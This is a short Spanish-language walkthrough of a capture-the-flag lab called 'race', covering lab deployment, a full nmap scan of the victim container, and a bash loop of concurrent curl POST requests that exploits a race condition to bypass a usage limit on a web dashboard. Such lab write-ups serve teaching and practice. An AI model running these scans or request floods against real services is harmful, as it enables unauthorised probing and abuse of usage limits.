image.png

- Despliegue:

sudo bash auto_deploy.sh race.tar

image.png

IP maquina atacante: 172.17.0.1

IP máquina victima: 172.17.0.2

- Conectividad:

ping -c 5 172.17.0.2

image.png

- Escaneo de puertos:

nmap -p- --open --min-rate=5000 -T5 -A -sS -Pn -n 172.17.0.2

image.png

Puertos 22 y 5000 abiertos.

Vamos en el navegador a http://172.17.0.2:5000 y nos encontramos un dashboard de un SaaS.

image.png

Al ejecutar una acción esto va aumentando el “uso mensual” y manualmente solo nos permite llegar a 3 y vemos que al ejecutar una acción hace referencia a http://172.17.0.2/click. Sin embargo, podemos ejecutar el siguiente comando en bash para enviar múltiples solicitudes POST a /click y superar el límite.

for i in {1..10}; do curl -X POST <http://172.17.0.2:5000/click> & done; wait